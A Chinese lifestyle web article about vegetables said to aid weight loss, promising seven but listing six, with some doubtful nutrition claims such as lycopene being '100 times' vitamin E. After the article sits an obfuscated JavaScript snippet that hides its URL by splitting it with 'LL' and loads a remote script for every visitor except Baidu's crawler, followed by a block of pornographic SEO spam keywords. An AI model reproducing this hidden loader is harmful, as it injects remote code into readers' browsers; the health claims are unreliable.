當前位置:首頁 > 飲食 > 食物營養 > 正文

寶物蔬菜 營養減脂肪

2017-07-11 12:58:22  來源:360常識網   熱度:
導語:對于女性來說,減肥似乎是一個百談不厭的話題。如果你不喜歡運動,沒有決心節食,不妨試著吃下面7種蔬菜,它們熱量低、飽腹感強、營養價值

對于女性來說,減肥似乎是一個百談不厭的話題。如果你不喜歡運動,沒有決心節食,不妨試著吃下面7種蔬菜,它們熱量低、飽腹感強、營養價值也較高,乃方便實惠的減肥佳品。

胡蘿卜

胡蘿卜內含有的異硫氰酸能分解食物中的淀粉、脂肪等成分,使之分解后為人體充分吸收和利用。所以胡蘿卜是一種相當不錯的減肥食品,有助于改善易胖體質。

豆芽

在市場、超市都能買到的豆芽,卡路里不高,同時又能維持飽腹感,其中富含的維生素B2,是脂肪燃燒的好幫手。維生素B2是一種水溶性維生素,在脂質分解的時候,為體內補充酵素,進一步提高脂肪代謝的效率。所以,當我們體內缺乏這種維生素B2時,就會影響體內對脂質的分解,熱量的消耗也會變得緩慢。

番茄汁、西紅柿

時下流行的西紅柿減肥法,正是運用到了西紅柿強大的燃脂效果。西紅柿中含有的番茄紅素,能有效防止脂肪細胞的積聚,而且其抗老化作用是維生素E的100倍。同時,它還能清除體內的活性氧,有效抑制黑色素的生成。

黃瓜

黃瓜中含有丙醇二酸,這種酵素攝入后能幫助體內脂肪的分解,抑制脂肪產生,而其中的纖維素能促進人體排出廢物,達到減肥強體的目的。同時,黃瓜口感脆嫩的,通過慢慢咀嚼,能刺激飽腹中樞,控制食欲。

卷心菜

卷心菜營養豐富,既可生吃也可熟食,味道鮮美,功能甚多。做沙拉的時候,大家都喜歡放些卷心菜,既可以點綴菜肴,又可以幫助你減少卡路里的攝入,增強飽腹感。

香菇

香菇中含有的香菇嘌呤能改善全身的血液循環,提高新陳代謝,促進膽固醇分解。同時,其中所含的纖維素能促進胃腸蠕動,防止便秘,減少腸道對膽固醇的吸收。常食香菇能降低總膽固醇及甘油三酯,起到祛脂降壓的效果。

以上就是低卡路里的蔬菜,健康減肥必備哦。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产综合精品一区二区| 久9久9精品免费观看| 国产精品久久久久久久app| 国产午夜精品一区二区| 久久精品视频在线看99| 久久香蕉国产线看观看精品yw| 无码人妻一区二区三区精品视频| 国产精品视频一区二区三区| 国产精品久久久久久吹潮| 日韩精品免费一线在线观看| 99久热任我爽精品视频| 久久国产乱子免费精品| 精品91自产拍在线观看| 麻豆国产精品入口免费观看| 亚洲AV无码精品蜜桃| 国产精品视频一区二区噜噜| 日韩精品免费一线在线观看| 人妻少妇看A偷人无码精品视频| 日韩精品久久无码人妻中文字幕| 国产在线精品一区二区夜色 | 久久久久久久精品毛万迈巴赫车标| 亚洲av无码乱码国产精品fc2| 国产精品综合久成人| 国产精品极品美女免费观看| 国产精品机视频大陆| 亚洲国产精品成人久久久| 久久这里只精品99re免费| 久久精品中文字幕有码| 九九九国产精品成人免费视频| 国产愉拍精品手机| 日本精品视频一视频高清| 69国产成人精品午夜福中文| 久久99精品免费视频| 中文精品久久久久人妻不卡| 狠狠精品久久久无码中文字幕| 免费在线精品视频| 国产精品综合视频| 精品一区狼人国产在线| 精品久久久久久777米琪桃花| 含羞草国产亚洲精品岁国产精品| 国产精品18久久久久久vr|